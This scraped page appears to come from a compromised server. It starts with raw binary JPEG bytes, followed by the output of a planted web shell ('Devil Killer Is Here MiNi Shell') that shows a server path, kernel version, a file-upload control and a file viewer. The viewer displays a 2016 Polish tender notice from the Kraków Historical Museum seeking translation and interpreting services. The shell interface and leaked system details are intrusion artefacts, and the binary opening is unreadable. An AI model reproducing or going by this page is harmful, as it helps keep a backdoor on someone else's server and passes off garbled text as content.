JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20160405/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20160405/77206-N-2016.html

<p class="kh_header"><b>Kraków: Tłumaczenia pisemne tekstów oraz tłumaczenia ustne symultaniczne i konsekutywne dla Muzeum Historycznego Miasta Krakowa w roku 2016.</b><br>
<b>Numer ogłoszenia: 77206 - 2016; data zamieszczenia: 05.04.2016</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b>
<!--zamówienia publicznego.</p>-->
<table class="text2">
<tr><td style="border: solid 1px; width:15px black; text-align: center;"><b>V</b></td>
<td>zamówienia publicznego</td></tr>
<tr><td style="border: solid 1px; width:15px black; text-align: center;"></td>
<td>zawarcia umowy ramowej</td></tr>
<tr><td style="border: solid 1px; width:15px black; text-align: center;"></td>
<td>ustanowienia dynamicznego systemu zakupów (DSZ)</td></tr>
</table>


<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Muzeum Historyczne Miasta Krakowa , Rynek Główny 35, 31-011 Kraków, woj. małopolskie, tel. 012 422 32 64, faks 012 422 32 64.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.mhk.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: Samorządowa Instytucja Kultury.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Tłumaczenia pisemne tekstów oraz tłumaczenia ustne symultaniczne i konsekutywne dla Muzeum Historycznego Miasta Krakowa w roku 2016..</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest: Tłumaczenia pisemne tekstów oraz tłumaczenia ustne symultaniczne 
i konsekutywne dla Muzeum Historycznego Miasta Krakowa w roku 2016.
Zamówienie podzielone jest na trzy części:
Część I Tłumaczenia zwykłe pisemne tekstów wydawnictw z języka polskiego na język angielski.
Część II Tłumaczenia pisemne uwierzytelnione z języka polskiego na język angielski oraz tłumaczenia pisemne zwykłe i uwierzytelnione z języka polskiego na język niemiecki, rosyjski, hebrajski, włoski, francuski, hiszpański, ukraiński, szwedzki, holenderski, litewski oraz na język polski z języka angielskiego, rosyjskiego, hebrajskiego, francuskiego, ukraińskiego, szwedzkiego, holenderskiego.
Część III Tłumaczenia ustne symultaniczne i konsekutywne z języków angielskiego, niemieckiego 
i węgierskiego na język polski i z języka polskiego na język angielski, niemiecki i węgierski.
Szczegółowy opis przedmiotu zamówienia zawiera załącznik nr 1 do SIWZ.

Uwaga: Ilości podane w  Formularzu ofertowym - wzór stanowiący załącznik nr 2 do siwz i w Opisie przedmiotu zamówienia  - wzór stanowiący załącznik nr 1 do siwz mają charakter szacunkowy 
i stanowią przewidywane minimalne zapotrzebowanie na usługi tłumaczenia w okresie realizacji zamówienia. Ilości te nie stanowią zobowiązania Zamawiającego i nie mogą stanowić podstawy do wystosowania roszczeń przez Wykonawcę.  Wykonawca otrzyma wynagrodzenie z tytułu faktycznie wykonanych usług. Zamawiający zobowiązuje się do zlecenia wykonania usług w zakresie co najmniej 80 % wskazanych wartości na usługi tłumaczenia..</p>
<p><b>II.1.5)
<table class="text2">
<tr><td style="border: solid 1px black; width:15px; text-align: center;"><b>&nbsp;</b></td>
<td><b>przewiduje się udzielenie zamówień uzupełniających</b></td></tr>
</table>                            
</b></p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li>
<li></li></ul>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8, 79.54.00.00-1.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 3.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.12.2016.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawiający nie przewiduje wniesienia wadium dla żadnej z części.</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie. Zamawiający dokona oceny na podstawie oświadczenia o spełnianiu warunków udziału w postępowaniu zgodnie z załącznik nr 3 do SIWZ</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie. Zamawiający dokona oceny na podstawie oświadczenia o spełnianiu warunków udziału w postępowaniu zgodnie z załącznik nr 3 do SIWZ</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie. Zamawiający dokona oceny na podstawie oświadczenia o spełnianiu warunków udziału w postępowaniu zgodnie z załącznik nr 3 do SIWZ</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna warunek za spełniony jeśli Wykonawca wykaże iż dysponuje lub będzie dysponował:

dla części I:  co najmniej 4 osobami - tłumaczami, posiadającymi odpowiednie kwalifikacje 
i wykształcenie uprawniające do wykonywania tłumaczeń, tj. posiadają dobrą znajomość języka polskiego 
oraz 
ukończyli studia pierwszego stopnia lub drugiego stopnia w rozumieniu ustawy z dnia 27 lipca 2005 r. Prawo o szkolnictwie wyższym (Dz. U. z 2012 r., poz. 572 z późn. zm.) na kierunku filologia angielska lub lingwistyki stosowanej w zakresie języka angielskiego lub legitymują się dyplomem ukończenia studiów magisterskich lub wyższych zawodowych ukończonych 
w kraju, w którym językiem urzędowym jest obecnie lub był w czasie trwania ww. studiów język angielski
lub 
posiadają status tłumacza przysięgłego co jest potwierdzone wpisem na listę tłumaczy przysięgłych w Ministerstwie Sprawiedliwości i spełnia wymogi określone ustawą z dnia 
25 listopada 2004 r. o zawodzie tłumacza przysięgłego (Dz. U. z 2004 r., Nr 273, poz. 2702), oraz wykonującymi tłumaczenia pisemne z języka polskiego na język angielski i języka angielskiego na język polski. 
Każdy z  tłumaczy powinien posiadać min. 5-letnie doświadczenie zawodowe w wykonywaniu tłumaczeń pisemnych, w tym doświadczenie w przetłumaczeniu min. 5 publikacji o tematyce historycznej / kulturalnej / edukacyjnej / związanej ze sztuką, w tym min. 2 publikacje po 100 stron każda.

dla części II:  co najmniej 11 osobami - tłumaczami posiadającymi odpowiednie kwalifikacje 
i wykształcenie uprawniające do wykonywania tłumaczeń, tj. posiadają dobrą znajomość języka polskiego 
oraz 
ukończyli studia pierwszego stopnia lub drugiego stopnia w rozumieniu ustawy z dnia 27 lipca 2005 r. Prawo o szkolnictwie wyższym (Dz. U. z 2012 r., poz. 572 z późn. zm.) na kierunku filologia w specjalności danego języka obcego, w którym będą wykonywali tłumaczenia 
w ramach niniejszego zamówienia lub lingwistyki stosowanej w zakresie języka, w którym będą wykonywali tłumaczenia w ramach niniejszego zamówienia lub legitymują się dyplomem ukończenia studiów magisterskich lub wyższych zawodowych ukończonych 
w kraju, w którym językiem urzędowym jest obecnie lub był w czasie trwania ww. studiów język obcy, będący przedmiotem wykonywanych tłumaczeń  
lub 
posiadają status tłumacza przysięgłego co jest potwierdzone wpisem na listę tłumaczy przysięgłych w Ministerstwie Sprawiedliwości i spełnia wymogi określone ustawą z dnia 
25 listopada 2004 r. o zawodzie tłumacza przysięgłego (Dz. U. z 2004 r., Nr 273, poz. 2702), wykonującymi tłumaczenia pisemne odpowiednio dla każdego z języków, tj. j. angielski: 1, 
j. niemiecki: 1, j. hebrajski: 1, j. rosyjski: 1, j. włoski: 1, j. francuski: 1, hiszpański: 1, litewski: 1, szwedzki: 1, ukraiński: 1, holenderski: 1, w tym:
- przynajmniej 1 z tłumaczy (odpowiednio dla każdego z języków) powinien posiadać min. 
5-letnie doświadczenie zawodowe w tłumaczeniach pisemnych w tym doświadczenie 
w przetłumaczeniu min. 5 publikacji o tematyce historycznej / kulturalnej / edukacyjnej / związanej ze sztuką, w tym min. 2 publikacje po 100 stron każda;
- przynajmniej 1 z tłumaczy (odpowiednio dla każdego z języków poza językiem  niemieckim, hebrajskim i litewskim) powinien być tłumaczem przysięgłym, spełniającym wymogi określone ustawą z dnia 25 listopada 2004r. o zawodzie tłumacza przysięgłego (Dz.U. z 2004 r., Nr 273, poz. 2702 z późn.zm.)

dla części III:
(1)	przynajmniej 3 osobami - tłumaczami wykonującymi tłumaczenia ustne symultaniczne, w tym:
	1 tłumaczem posiadającymi odpowiednie kwalifikacje i wykształcenie uprawniające do wykonywania tłumaczeń, tj. posiada dobrą znajomość języka polskiego 
oraz
ukończył studia pierwszego stopnia lub drugiego stopnia w rozumieniu ustawy z dnia 27 lipca 2005 r. Prawo o szkolnictwie wyższym (Dz. U. z 2012 r., poz. 572 z późn. zm.) na kierunku filologia niemiecka lub lingwistyki stosowanej w zakresie języka niemieckiego lub legitymuje się dyplomem ukończenia studiów magisterskich lub wyższych zawodowych ukończonych 
w kraju, w którym językiem urzędowym jest obecnie lub był w czasie trwania ww. studiów język niemiecki
lub 
posiada status tłumacza przysięgłego co jest potwierdzone wpisem na listę tłumaczy przysięgłych w Ministerstwie Sprawiedliwości i spełnia wymogi określone ustawą z dnia 25 listopada 2004 r. o zawodzie tłumacza przysięgłego (Dz. U. z 2004 r., Nr 273, poz. 2702), wykonującym tłumaczenia ustne symultaniczne z języka niemieckiego na język polski i z języka polskiego na język niemiecki. 
Tłumacz powinien posiadać min. 5-letnie doświadczenie zawodowe w tłumaczeniu ustnym (symultanicznie) oraz doświadczenie w tłumaczeniu przynajmniej 10 spotkań (np. konferencji/warsztatu) o tematyce historycznej, kulturalnej, edukacyjnej, związanej ze sztuką trwającego min. 8 godzin zegarowych (1 godzina = 60 minut);
	2 tłumaczami posiadającymi odpowiednie kwalifikacje i wykształcenie uprawniające do wykonywania tłumaczeń, tj. posiadają dobrą znajomość języka polskiego 
oraz
ukończyli studia pierwszego stopnia lub drugiego stopnia w rozumieniu ustawy z dnia 27 lipca 2005 r. Prawo o szkolnictwie wyższym (Dz. U. z 2012 r., poz. 572 z późn. zm.) na kierunku filologia angielska lub lingwistyki stosowanej w zakresie języka angielskiego lub legitymuje się dyplomem ukończenia studiów magisterskich lub wyższych zawodowych ukończonych 
w kraju, w którym językiem urzędowym jest obecnie lub był w czasie trwania ww. studiów język angielski
lub 
posiada status tłumacza przysięgłego co jest potwierdzone wpisem na listę tłumaczy przysięgłych w Ministerstwie Sprawiedliwości i spełnia wymogi określone ustawą z dnia 25 listopada 2004 r. o zawodzie tłumacza przysięgłego (Dz. U. z 2004 r., Nr 273, poz. 2702), wykonującymi tłumaczenia ustne symultaniczne z języka angielskiego na język polski i z języka polskiego na język angielski. 
Tłumacze powinni posiadać min. 5-letnie doświadczenie zawodowe w wykonywaniu tłumaczeń oraz doświadczenie w tłumaczeniu ustnym (symultanicznie) przynajmniej 10 spotkań (np. konferencji/warsztatu) o tematyce historycznej, kulturalnej, edukacyjnej, związanej ze sztuką trwającego min. 8 godzin zegarowych (1 godzina = 60 minut);

(2)	przynajmniej 2 osobami - tłumaczami wykonującymi tłumaczenia ustne konsekutywne, w tym:
	1 tłumaczem posiadającymi odpowiednie kwalifikacje i wykształcenie uprawniające 
do wykonywania tłumaczeń, tj. posiada dobrą znajomość języka polskiego 
oraz
ukończył studia pierwszego stopnia lub drugiego stopnia w rozumieniu ustawy z dnia 27 lipca 2005 r. Prawo o szkolnictwie wyższym (Dz. U. z 2012 r., poz. 572 z późn. zm.) na kierunku filologia niemiecka lub lingwistyki stosowanej w zakresie języka niemieckiego lub legitymuje się dyplomem ukończenia studiów magisterskich lub wyższych zawodowych ukończonych 
w kraju, w którym językiem urzędowym jest obecnie lub był w czasie trwania ww. studiów język niemiecki
lub 
posiada status tłumacza przysięgłego co jest potwierdzone wpisem na listę tłumaczy przysięgłych w Ministerstwie Sprawiedliwości i spełnia wymogi określone ustawą z dnia 25 listopada 2004 r. o zawodzie tłumacza przysięgłego (Dz. U. z 2004 r., Nr 273, poz. 2702), wykonującym tłumaczenia ustne konsekutywne z języka niemieckiego na język polski 
i z języka polskiego na język niemiecki. 
Tłumacz powinien posiadać min. 5-letnie doświadczenie zawodowe w wykonywaniu tłumaczeń w tym w tłumaczeniu ustnym (konsekutywnym) przynajmniej 10 spotkań (np. konferencji/warsztatu) o tematyce historycznej, kulturalnej, edukacyjnej, związanej ze sztuką trwającego min. 8 godzin zegarowych (1 godzina = 60 minut);
	1 tłumaczem posiadającymi odpowiednie kwalifikacje i wykształcenie uprawniające do wykonywania tłumaczeń, tj. posiada dobrą znajomość języka polskiego 
oraz 
ukończył studia pierwszego stopnia lub drugiego stopnia w rozumieniu ustawy z dnia 27 lipca 2005 r. Prawo o szkolnictwie wyższym (Dz. U. z 2012 r., poz. 572 z późn. zm.) na kierunku filologia węgierska lub lingwistyki stosowanej w zakresie języka węgierskiego lub legitymuje się dyplomem ukończenia studiów magisterskich lub wyższych zawodowych ukończonych 
w kraju, w którym językiem urzędowym jest obecnie lub był w czasie trwania ww. studiów język węgierski
lub 
posiada status tłumacza przysięgłego co jest potwierdzone wpisem na listę tłumaczy przysięgłych w Ministerstwie Sprawiedliwości i spełnia wymogi określone ustawą z dnia 25 listopada 2004 r. o zawodzie tłumacza przysięgłego (Dz. U. z 2004 r., Nr 273, poz. 2702), wykonującym tłumaczenia ustne konsekutywne z języka węgierskiego na język polski 
i z języka polskiego na język węgierski. 
Tłumacz powinien posiadać min. 5-letnie doświadczenie zawodowe w wykonywaniu tłumaczeń w tym w tłumaczeniu ustnym (konsekutywnie) przynajmniej 10 spotkań (np. konferencji / warsztatu) o tematyce historycznej, kulturalnej, edukacyjnej, związanej 
ze sztuką trwającego min. 1 godzinę zegarową (1 godzina = 60 minut).
Zamawiający dokona oceny spełniania warunku na podstawie analizy treści dokumentów: wykaz osób- zgodnie z załącznikiem nr 4 do SIWZ oraz oświadczenie o spełnieniu warunków udziału w postępowaniu zgodnie z załącznik nr 3 do SIWZ</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie. Zamawiający dokona oceny na podstawie oświadczenia o spełnianiu warunków udziału w postępowaniu zgodnie z załącznik nr 3 do SIWZ</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego naczelnika urzędu skarbowego potwierdzające, że wykonawca nie zalega z opłacaniem podatków, lub zaświadczenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego oddziału Zakładu Ubezpieczeń Społecznych lub Kasy Rolniczego Ubezpieczenia Społecznego potwierdzające, że wykonawca nie zalega z opłacaniem składek na ubezpieczenia zdrowotne i społeczne, lub potwierdzenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu -  wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">wykonawca powołujący się przy wykazywaniu spełniania warunków udziału w postępowaniu na zasoby innych podmiotów, które będą brały udział w realizacji części zamówienia, przedkłada także dokumenty dotyczące tego podmiotu w zakresie wymaganym dla wykonawcy, określonym w pkt III.4.2.</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">nie zalega z uiszczaniem podatków, opłat, składek na ubezpieczenie społeczne i zdrowotne albo że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawiony nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>Wraz z ofertą Wykonawca przedkłada:
1. wypełniony formularz ofertowy - załącznik nr 2 do SIWZ,
2. dokumenty i oświadczenia, o których mowa w rozdziale VI SIWZ,
3. dokument o którym mowa w rozdziale XIII pkt 4 SIWZ.
7. 	Oferta musi być podpisana przez osoby upoważnione do reprezentowania Wykonawcy (Wykonawców wspólnie ubiegających się o udzielenie zamówienia). Upoważnienie osób podpisujących ofertę do jej podpisania musi bezpośrednio wynikać z dokumentów dołączonych do oferty. Oznacza to, że jeżeli upoważnienie takie nie wynika wprost z dokumentu stwierdzającego status prawny Wykonawcy, to do oferty należy dołączyć oryginał lub poświadczoną notarialnie za zgodność  oryginałem kopię stosownego pełnomocnictwa wystawionego przez osoby upoważnione do reprezentowania Wykonawcy.</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p><ul class="kh_indent_1">
<li>1 - Cena - 40</li>
<li>2 - Doświadczenie - 60</li>
</ul>
<p><b>IV.2.2)</b>
<table class="text2">
<tr><td style="border: solid 1px black; width:15px; text-align: center;"><b>&nbsp;</b></td>
    <td><b>przeprowadzona będzie aukcja elektroniczna,</b> adres strony, na której będzie prowadzona: </td></tr>
</table>                            
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Zgodnie z art. 144 ustawy pzp Zamawiający przewiduje możliwość dokonania zmian postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru Wykonawcy w sytuacji:
(odpowiednio dla każdej z części)
a)	nastąpi zmiana regulacji prawnych obowiązujących w dniu podpisania umowy 
(np. zmiana stawki podatku VAT) wówczas odpowiednio zmianie ulegną cena brutto w taki sposób, iż do cen jednostkowych netto we wszystkich pozycjach zostanie doliczona prawidłowo naliczona stawka podatku VAT zgodnie z regulacjami prawnymi obowiązującymi na dzień zmiany postanowień zawartej umowy 
a w konsekwencji przeliczeń rachunkowych odpowiednio ulegnie zmianie cena brutto określona w Formularzu ofertowym,
b)	nastąpi zmiana szczegółowego terminu realizacji zamówienia podyktowana działaniami podmiotów trzecich lub okolicznościami od Stron niezależnymi 
(np. zmiana terminu organizacji wydarzeń/wystaw czy warsztatów albo konferencji / spotkań) 
c)	zmiana regulacji prawnych dotyczących przedmiotu Umowy obowiązujących w dniu podpisania umowy, 
d)	zmiany osób wskazanych w Wykazie osób, uzasadnionej zdarzeniami losowymi lub żądaniem Zamawiającego pod warunkiem zapewnienia osoby spełniającej wymogi specyfikacji istotnych warunków zamówienia dla danej funkcji oraz doświadczenie wykazane przez Wykonawcę w ramach kryterium oceny ofert. 
e)	wystąpienia siły wyższej tj. wystąpienia zdarzenia losowego wywołanego przez czynniki zewnętrzne, którego nie można było przewidzieć, w szczególności zagrażającego bezpośrednio życiu lub zdrowiu ludzi lub grożącego powstaniem szkody w znacznych rozmiarach.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.mhk.pl<br>
